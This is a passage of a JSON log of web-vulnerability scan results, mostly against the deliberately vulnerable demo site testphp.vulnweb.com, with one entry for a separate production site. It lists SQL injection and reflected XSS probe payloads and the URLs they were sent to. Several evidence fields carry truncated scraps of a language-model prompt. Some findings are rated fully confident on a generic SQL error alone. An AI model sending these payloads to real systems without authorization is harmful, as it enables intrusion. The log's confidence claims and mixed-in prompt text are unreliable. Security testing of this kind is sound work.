      "evidence_summary": "SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example 1]\n--- Example:",
      "confidence": 1.0,
      "timestamp": 1771341870.2689202,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "5877c4e05f"
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=1&test='+AND+1%3D1--",
      "parameter": "test",
      "reasoning_steps": [
        "Tested sqli_blind on http://testphp.vulnweb.com/search.php?test=1&test='+AND+1%3D1--",
        "Parameter: test",
        "Payload: ' AND 1=1--",
        "Evidence: SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Examp",
        "Confidence: 100"
      ],
      "payload_used": "' AND 1=1--",
      "evidence_summary": "SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example 1]\n--- Example: SQLI in generic ---\nScenario: Verifying SQL injection is TRUE POSITIVE\nReasoning:",
      "confidence": 1.0,
      "timestamp": 1771341888.836873,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "afa52a317a"
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=query&test='",
      "parameter": "test",
      "reasoning_steps": [
        "Tested sqli_error on http://testphp.vulnweb.com/search.php?test=query&test='",
        "Parameter: test",
        "Payload: '",
        "Evidence: SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy the",
        "Confidence: 100"
      ],
      "payload_used": "'",
      "evidence_summary": "SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example 1]\n--- Example:",
      "confidence": 1.0,
      "timestamp": 1771341920.188579,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "7f204cf6c0"
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=query&test='+AND+1%3D1--",
      "parameter": "test",
      "reasoning_steps": [
        "Tested sqli_blind on http://testphp.vulnweb.com/search.php?test=query&test='+AND+1%3D1--",
        "Parameter: test",
        "Payload: ' AND 1=1--",
        "Evidence: SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Examp",
        "Confidence: 100"
      ],
      "payload_used": "' AND 1=1--",
      "evidence_summary": "SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example 1]\n--- Example: SQLI in generic ---\nScenario: Verifying SQL injection is TRUE POSITIVE\nReasoning:",
      "confidence": 1.0,
      "timestamp": 1771341924.664907,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "427a585ebe"
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12&p=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "p",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12&p=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: p",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 100"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 1.0,
      "timestamp": 1771341946.095602,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "8640b4aedd"
    },
    {
      "vuln_type": "sqli_union",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test='+UNION+SELECT+NULL--",
      "parameter": "test",
      "reasoning_steps": [
        "Tested sqli_union on http://testphp.vulnweb.com/search.php?test='+UNION+SELECT+NULL--",
        "Parameter: test",
        "Payload: ' UNION SELECT NULL--",
        "Evidence: New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-wor",
        "Confidence: 100"
      ],
      "payload_used": "' UNION SELECT NULL--",
      "evidence_summary": "New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[",
      "confidence": 1.0,
      "timestamp": 1771341984.3948102,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "0fbb763c35"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771341987.5423858,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "7ab9afb724"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php?cat=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/listproducts.php?cat=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771341990.836138,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "de75e08d9d"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/artists.php?artist=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771341993.899276,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "37a422fe76"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/product.php?pic=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['price', 'addcart']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['price', 'addcart']",
      "confidence": 0.0,
      "timestamp": 1771341996.3751192,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "cf77cfdcfa"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/guestbook.php",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/guestbook.php",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['name', 'submit', 'text']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['name', 'submit', 'text']",
      "confidence": 0.0,
      "timestamp": 1771341998.996185,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "ce0078ec6e"
    },
    {
      "vuln_type": "clickjacking",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested clickjacking on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: X-Frame-Options: Not set\nCSP: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Frame-Options: Not set\nCSP: Not set",
      "confidence": 0.0,
      "timestamp": 1771342001.790553,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "59e9a7389d"
    },
    {
      "vuln_type": "sensitive_data_exposure",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "server_version",
      "reasoning_steps": [
        "Tested sensitive_data_exposure on http://testphp.vulnweb.com/",
        "Parameter: server_version",
        "Payload: N/A",
        "Evidence: Server: nginx/1.19.0",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Server: nginx/1.19.0",
      "confidence": 0.0,
      "timestamp": 1771342002.0241039,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "f915219938"
    },
    {
      "vuln_type": "missing_xcto",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_xcto on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: X-Content-Type-Options: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Content-Type-Options: Not set",
      "confidence": 0.0,
      "timestamp": 1771342002.4572191,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "9780b58433"
    },
    {
      "vuln_type": "missing_csp",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_csp on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Content-Security-Policy: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Content-Security-Policy: Not set",
      "confidence": 0.0,
      "timestamp": 1771342002.888083,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "024291ea3c"
    },
    {
      "vuln_type": "directory_listing",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/images/",
      "parameter": "",
      "reasoning_steps": [
        "Tested directory_listing on http://testphp.vulnweb.com/images/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Directory listing enabled at /images/",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Directory listing enabled at /images/",
      "confidence": 0.0,
      "timestamp": 1771342003.099705,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "36c189a123"
    },
    {
      "vuln_type": "sensitive_data_exposure",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "x_powered_by",
      "reasoning_steps": [
        "Tested sensitive_data_exposure on http://testphp.vulnweb.com/",
        "Parameter: x_powered_by",
        "Payload: N/A",
        "Evidence: X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1",
      "confidence": 0.0,
      "timestamp": 1771342004.968874,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "f915219938"
    },
    {
      "vuln_type": "cleartext_transmission",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested cleartext_transmission on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No HTTPS endpoint available",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No HTTPS endpoint available",
      "confidence": 0.0,
      "timestamp": 1771342006.693186,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "a60e104f56"
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/showimage.php?file=1&file=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "file",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/showimage.php?file=1&file=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: file",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 100"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 1.0,
      "timestamp": 1771350232.818613,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "83e4a916ae"
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "pp",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: pp",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 100"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 1.0,
      "timestamp": 1771350252.6000881,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "4d700103c2"
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=query&test='",
      "parameter": "test",
      "reasoning_steps": [
        "Tested sqli_error on http://testphp.vulnweb.com/search.php?test=query&test='",
        "Parameter: test",
        "Payload: '",
        "Evidence: SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy the",
        "Confidence: 100"
      ],
      "payload_used": "'",
      "evidence_summary": "SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example 1]\n--- Example:",
      "confidence": 1.0,
      "timestamp": 1771350288.681327,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "7f204cf6c0"
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=query&test='+AND+1%3D1--",
      "parameter": "test",
      "reasoning_steps": [
        "Tested sqli_blind on http://testphp.vulnweb.com/search.php?test=query&test='+AND+1%3D1--",
        "Parameter: test",
        "Payload: ' AND 1=1--",
        "Evidence: SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Examp",
        "Confidence: 100"
      ],
      "payload_used": "' AND 1=1--",
      "evidence_summary": "SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example 1]\n--- Example: SQLI in generic ---\nScenario: Verifying SQL injection is TRUE POSITIVE\nReasoning:",
      "confidence": 1.0,
      "timestamp": 1771350306.869341,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "427a585ebe"
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12&p=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "p",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12&p=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: p",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 100"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 1.0,
      "timestamp": 1771350325.352128,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "8640b4aedd"
    },
    {
      "vuln_type": "sqli_union",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test='+UNION+SELECT+NULL--",
      "parameter": "test",
      "reasoning_steps": [
        "Tested sqli_union on http://testphp.vulnweb.com/search.php?test='+UNION+SELECT+NULL--",
        "Parameter: test",
        "Payload: ' UNION SELECT NULL--",
        "Evidence: New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-wor",
        "Confidence: 100"
      ],
      "payload_used": "' UNION SELECT NULL--",
      "evidence_summary": "New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[",
      "confidence": 1.0,
      "timestamp": 1771350354.681775,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "0fbb763c35"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771350361.816519,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "7ab9afb724"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/guestbook.php",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/guestbook.php",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['name', 'submit', 'text']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['name', 'submit', 'text']",
      "confidence": 0.0,
      "timestamp": 1771350363.9881458,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "ce0078ec6e"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/artists.php?artist=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771350366.222271,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "37a422fe76"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/search.php?test=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771350368.175049,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "432f223199"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php?cat=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/listproducts.php?cat=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771350370.429826,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "de75e08d9d"
    },
    {
      "vuln_type": "clickjacking",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested clickjacking on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: X-Frame-Options: Not set\nCSP: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Frame-Options: Not set\nCSP: Not set",
      "confidence": 0.0,
      "timestamp": 1771350373.4163609,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "59e9a7389d"
    },
    {
      "vuln_type": "missing_xcto",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_xcto on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: X-Content-Type-Options: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Content-Type-Options: Not set",
      "confidence": 0.0,
      "timestamp": 1771350373.632229,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "9780b58433"
    },
    {
      "vuln_type": "sensitive_data_exposure",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "server_version",
      "reasoning_steps": [
        "Tested sensitive_data_exposure on http://testphp.vulnweb.com/",
        "Parameter: server_version",
        "Payload: N/A",
        "Evidence: Server: nginx/1.19.0",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Server: nginx/1.19.0",
      "confidence": 0.0,
      "timestamp": 1771350374.0400488,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "f915219938"
    },
    {
      "vuln_type": "missing_csp",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_csp on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Content-Security-Policy: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Content-Security-Policy: Not set",
      "confidence": 0.0,
      "timestamp": 1771350374.254053,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "024291ea3c"
    },
    {
      "vuln_type": "directory_listing",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/images/",
      "parameter": "",
      "reasoning_steps": [
        "Tested directory_listing on http://testphp.vulnweb.com/images/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Directory listing enabled at /images/",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Directory listing enabled at /images/",
      "confidence": 0.0,
      "timestamp": 1771350374.658784,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "36c189a123"
    },
    {
      "vuln_type": "sensitive_data_exposure",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "x_powered_by",
      "reasoning_steps": [
        "Tested sensitive_data_exposure on http://testphp.vulnweb.com/",
        "Parameter: x_powered_by",
        "Payload: N/A",
        "Evidence: X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1",
      "confidence": 0.0,
      "timestamp": 1771350375.3094149,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "f915219938"
    },
    {
      "vuln_type": "cleartext_transmission",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested cleartext_transmission on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No HTTPS endpoint available",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No HTTPS endpoint available",
      "confidence": 0.0,
      "timestamp": 1771350378.472846,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "a60e104f56"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: CloudFront, Angular, jQuery",
      "endpoint_pattern": "https://sistema.soc.com.br/",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on https://sistema.soc.com.br/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['screenWidth', 'screenHeight', 'detalhesNavegadorUsuario', 'captcha', 'usu']",
        "Confidence: 0"
      ],
      "payload_used": "",
